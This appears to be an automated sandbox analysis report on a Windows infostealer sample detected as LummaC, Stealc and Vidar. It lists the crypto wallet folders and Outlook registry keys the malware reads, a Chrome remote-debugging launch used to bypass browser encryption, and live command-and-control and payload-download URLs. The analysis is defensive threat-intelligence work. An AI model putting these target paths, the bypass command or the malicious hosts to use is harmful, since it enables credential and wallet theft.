Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\FIDGHIIECG.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2447835930.000000000136A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16b11e2c5c.exe PID: 5816, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 16b11e2c5c.exe PID: 5816, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000001C.00000003.2475592661.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1246263357.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1859870792.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7215223519.exe PID: 7184, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2688, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF40C40 sqlite3_bind_zeroblob,	0_2_6CF40C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF40D60 sqlite3_bind_parameter_name,	0_2_6CF40D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE68EA0 sqlite3_clear_bindings,	0_2_6CE68EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF40B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CF40B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE66410 bind,WSAGetLastError,	0_2_6CE66410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE660B0 listen,WSAGetLastError,	0_2_6CE660B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE66070 PR_Listen,	0_2_6CE66070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CE6C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6C030 sqlite3_bind_parameter_count,	0_2_6CE6C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF22D0 sqlite3_bind_blob,	0_2_6CDF22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE663C0 PR_Bind,	0_2_6CE663C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE694F0 sqlite3_bind_text16,	0_2_6CE694F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE694C0 sqlite3_bind_text,	0_2_6CE694C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE69480 sqlite3_bind_null,	0_2_6CE69480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE69400 sqlite3_bind_int64,	0_2_6CE69400
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0073EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	24_2_0073EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0073DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	24_2_0073DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	248 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\Documents\FIDGHIIECG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\FIDGHIIECG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	39%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/sqlite3.dll2	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dll.	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpBGDGCGDAKFIDGIDBFy	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php&)	100%	Avira URL Cloud	malware
https://atten-supporse.biz/7	100%	Avira URL Cloud	malware
https://atten-supporse.biz//	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/c	0%	Avira URL Cloud	safe
http://185.215.113.206c4becf79229cb002.phpdge	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllB	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phph%D	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllL	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exegram	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe1395d7	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpgram	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/x	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php2c542939725eb1a730a525b0c7bb	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiR	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpC$	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe64	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dllv	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe132	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	172.67.165.166	true	false	high
www3.l.google.com	142.250.181.142	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
www.google.com	216.58.208.228	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
dare-curbys.biz	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
formy-spill.biz	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
impend-differ.biz	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1867887058.000000000B9F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.000000000138A000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2495659219.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, AAEHIDAKECFIEBGDHJEB.0.dr	false		high
https://duckduckgo.com/chrome_newtab	16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll2	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll.	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.broofa.com	chromecache_92.11.dr	false		high
https://bridge.sfo1.admarketplace.net/c	16b11e2c5c.exe, 0000001A.00000002.2495659219.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phph%D	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/_	16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206c4becf79229cb002.phpdge	file.exe, 00000000.00000002.1859870792.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpBGDGCGDAKFIDGIDBFy	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com	chromecache_92.11.dr	false		high
https://atten-supporse.biz//	16b11e2c5c.exe, 0000001A.00000003.2418131968.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php&)	file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/7	16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dllB	file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	EGDBAFHJJDAKEBGCFCBGDHDGII.0.dr	false		high
https://atten-supporse.biz/apii	16b11e2c5c.exe, 0000001A.00000003.2480106981.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1878703435.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exegram	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php1	file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGDBAFHJJDAKEBGCFCBGDHDGII.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_92.11.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1867887058.000000000B9F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.000000000138A000.00000004.00000020.00020000.00000000.sdmp, AAEHIDAKECFIEBGDHJEB.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpJ	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllL	file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpN	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2447835930.000000000136A000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418131968.0000000001368000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe1395d7	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpZ	file.exe, 00000000.00000002.1861693322.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpgram	file.exe, 00000000.00000002.1867887058.000000000BA04000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpb	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpg	file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpf	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpi	file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpC$	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php2c542939725eb1a730a525b0c7bb	file.exe, 00000000.00000002.1859870792.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpN	skotes.exe, 00000018.00000002.2492683426.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000018.00000002.2492683426.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1574998966.0000000001317000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.0000000001317000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/x	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_92.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpdge	file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1878314247.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1864861896.00000000059CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllv	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1867887058.000000000B9F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.000000000138A000.00000004.00000020.00020000.00000000.sdmp, AAEHIDAKECFIEBGDHJEB.0.dr	false		high
http://185.215.113.16/steam/random.exe64	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/apiR	16b11e2c5c.exe, 0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe7	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/j	file.exe, 00000000.00000003.1574998966.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false		high
